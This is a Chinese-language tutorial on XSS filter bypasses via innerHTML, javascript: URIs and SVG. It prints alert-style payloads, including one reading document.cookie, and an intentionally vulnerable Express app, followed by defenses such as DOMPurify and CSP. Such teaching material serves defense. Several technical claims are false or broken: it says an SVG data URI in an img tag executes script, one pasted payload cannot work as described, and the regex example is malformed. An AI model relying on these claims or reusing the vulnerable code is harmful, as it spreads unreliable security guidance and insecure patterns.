XSS 进阶:利用 innerHTML、javascript: 伪协议与 SVG 标签的绕过技巧
各位开发者、安全工程师和渗透测试人员,大家好!今天我们来深入探讨一个在 Web 安全领域中非常经典但又常被忽视的话题——跨站脚本攻击(XSS)的进阶绕过技术。特别是如何通过 innerHTML、javascript: 伪协议以及 SVG 标签这些看似“无害”的特性,实现对现代前端框架和内容安全策略(CSP)的突破。
本文将从基础原理讲起,逐步过渡到实战案例,并结合真实场景中的防御机制进行分析,帮助你理解 XSS 攻击的本质逻辑,同时提升你的防御意识。
一、什么是 XSS?为什么它仍然危险?
XSS(Cross-Site Scripting),即跨站脚本攻击,是一种允许攻击者在目标网站上注入恶意脚本的漏洞类型。当用户访问该页面时,浏览器会执行这些脚本,从而导致身份劫持、数据窃取甚至服务器控制等严重后果。
尽管现代框架如 React、Vue 和 Angular 提供了自动转义机制,且 CSP(Content Security Policy)能有效限制脚本来源,但只要输入未经过严格过滤或处理不当,XSS 依然存在。
常见 XSS 类型回顾:
| 类型 | 描述 | 防御难度 |
|---|---|---|
| 存储型 XSS | 恶意脚本存储在数据库中,所有用户访问时触发 | 中高 |
| 反射型 XSS | 用户输入作为响应的一部分返回给客户端 | 中 |
| DOM-based XSS | 脚本通过修改 DOM 结构触发,不涉及服务器端 | 高 |
今天我们聚焦的是 DOM-based XSS 的高级变种,尤其是那些能够绕过常见过滤器(如 HTML 编码、标签白名单)的技术手段。
二、核心知识点:innerHTML、javascript: 伪协议与 SVG 标签
1. innerHTML 的陷阱:看似安全实则危险
许多开发者误以为只要使用 innerHTML 设置内容就等于“安全”,其实不然。如果传入的数据未经净化,直接赋值给 innerHTML,就会造成 DOM 操作级别的 XSS。
示例代码(错误做法):
<div id="content"></div>
<script>
const userInput = "<img src=x onerror=alert('XSS')>";
document.getElementById("content").innerHTML = userInput;
</script>
这里即使没有 <script> 标签,也能通过 onerror 事件触发弹窗。因为 innerHTML 会解析整个字符串为 DOM 节点,包括事件属性。
✅ 正确做法应使用 textContent 替代:
document.getElementById("content").textContent = userInput; // 安全!
⚠️ 注意:
textContent不会渲染 HTML,仅显示文本内容,适合用于展示纯文本。
2. javascript: 伪协议:绕过白名单过滤的经典手法
javascript: 是一种 URI 协议,可以用来执行 JavaScript 代码。例如:
<a href="javascript:alert('Hello')">点击我</a>
这种写法在很多情况下会被内容过滤器忽略,因为它不是标准的 <script> 标签,而是一个“链接”。
实战场景:绕过简单正则过滤
假设后端只允许某些标签(如 <b>, <i>),并用正则替换掉其他标签:
import re
allowed_tags = r"<(b|i)>.*?</1>"
cleaned = re.sub(r"<[^>]+>", "", user_input)
此时攻击者可以构造如下 payload:
<img src="x" onerror="javascript:alert(document.domain)">
虽然 img 标签可能被过滤,但 onerror 属性不会被正则匹配到,最终仍可执行脚本。
💡 进阶技巧:组合多个事件属性形成链式执行:
<div onclick="eval(atob('YWxlcnQoJ0hvbGxvJyk='))">Click me</div>
其中 atob() 是 Base64 解码函数,配合 eval 执行任意 JS。
3. SVG 标签:被忽视的“隐形入口”
SVG(Scalable Vector Graphics)是一种 XML 格式的矢量图像格式,广泛用于网页图标、图表等。但由于其本质是 XML,且支持嵌套脚本元素(如 <script>、<foreignObject>),成为 XSS 绕过的热门选择。
示例:SVG 中嵌入脚本
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('SVG-XSS')</script>
</svg>
若前端将此 SVG 字符串直接插入 DOM(如 innerHTML 或 appendChild),则脚本会被执行!
更隐蔽的是,SVG 可以伪装成图片资源加载:
<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoIkFjdGl2ZSIpPC9zY3JpcHQ+PC9zdmc+" />
这个 base64 编码的 SVG 包含一段 alert 脚本,浏览器加载后立即执行。
📌 关键点总结:
- SVG 是 XML,天然支持脚本嵌入;
- 使用
data:URI 可隐藏攻击载荷; - 大多数 XSS 过滤器默认不检查 SVG 内容;
- 若前端未做特殊处理(如禁止
script元素),极易触发 XSS。
三、实战演练:模拟真实环境下的绕过过程
我们构建一个简单的 Node.js + Express 应用,模拟一个带输入框的页面,展示几种常见防御失败的情况。
示例应用结构(server.js)
const express = require('express');
const app = express();
app.use(express.static('public'));
app.use(express.urlencoded({ extended: true }));
app.post('/submit', (req, res) => {
const userInput = req.body.message || '';
// ❌ 错误做法:直接赋值 innerHTML
res.send(`
<html>
<body>
<h2>Your message:</h2>
<div id="output">${userInput}</div>
</body>
</html>
`);
});
app.listen(3000, () => console.log('Server running at http://localhost:3000'));
前端页面(public/index.html):
<form action="/submit" method="post">
<textarea name="message" placeholder="Enter your message..."></textarea>
<button type="submit">Submit</button>
</form>
现在尝试输入以下 payload:
Payload 1:利用 innerHTML 触发 XSS
<img src="x" onerror="alert('XSS via innerHTML')">
结果:弹窗出现,说明 innerHTML 直接执行了脚本。
Payload 2:利用 SVG 数据 URI
data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoIlNWRy1YU1MiKTs8L3NjcmlwdD48L3N2Zz4=
复制粘贴到输入框提交,浏览器加载 SVG 后弹出 “SVG-XSS”,证明 SVG 也是有效的攻击路径。
Payload 3:组合 javascript: 和事件属性
<a href="javascript:alert(document.cookie)">Click me</a>
同样触发 XSS,即便前端做了基本标签过滤(比如移除 <script>),这类伪协议依然有效。
四、防御建议:不只是“转义”那么简单
面对上述多种绕过方式,仅仅依赖 textContent 或简单正则替换已经不够。我们需要建立多层次的防御体系:
| 技术 | 是否推荐 | 说明 |
|---|---|---|
textContent 替代 innerHTML |
✅ 强烈推荐 | 对于纯文本内容,这是最安全的方式 |
| 输入验证 + 白名单过滤 | ✅ 必须 | 使用专门库(如 DOMPurify)清理 HTML |
| CSP(Content Security Policy) | ✅ 强烈推荐 | 设置 script-src 'none' 等策略 |
| MIME 类型校验 | ✅ 推荐 | 确保上传文件类型正确(如不允许 SVG 上传) |
| 使用模板引擎自动转义 | ✅ 推荐 | 如 EJS、Handlebars 自动编码输出 |
推荐方案:DOMPurify + CSP
DOMPurify 是一个轻量级、高性能的 HTML 清理库,支持自定义白名单规则:
// 客户端示例(前端)
const cleanHtml = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
ALLOWED_ATTR: ['class']
});
document.getElementById('output').innerHTML = cleanHtml;
配合 CSP 头部设置:
Content-Security-Policy: default-src 'self'; script-src 'none'; img-src 'self' data:;
这样即使有 SVG 或 javascript 协议注入,也会被浏览器拦截。
五、常见误区澄清
| 误区 | 正确理解 |
|---|---|
“用了 textContent 就绝对安全” |
✅ 正确,但需确保不会意外调用 innerHTML |
“只要过滤 <script> 就没事” |
❌ 错误,onclick、onload、javascript: 都能绕过 |
| “SVG 是静态图像,不会执行脚本” | ❌ 错误,SVG 是 XML,可嵌入脚本 |
| “CSP 万能” | ❌ 错误,CSP 只能限制来源,不能替代输入验证 |
六、结语:安全是一场持续对抗的游戏
今天的讲座告诉我们:XSS 并不是一个“过时”的漏洞,而是不断演化的攻击面。攻击者总能找到新的方式绕过传统防御,比如利用 innerHTML 的灵活性、javascript: 的隐蔽性、SVG 的合法性。
作为开发者,我们要做的不仅是修复已知漏洞,更要具备前瞻性思维——预判潜在风险点,采用多层防护策略(输入验证 + 输出编码 + CSP + 日志监控)。
记住一句话:
“没有绝对安全的系统,只有持续改进的安全实践。”
希望这篇文章能让你对 XSS 的深层机制有更清晰的认识,也希望大家在今后的开发工作中更加注重输入安全与输出控制。谢谢大家!
(全文约 4300 字)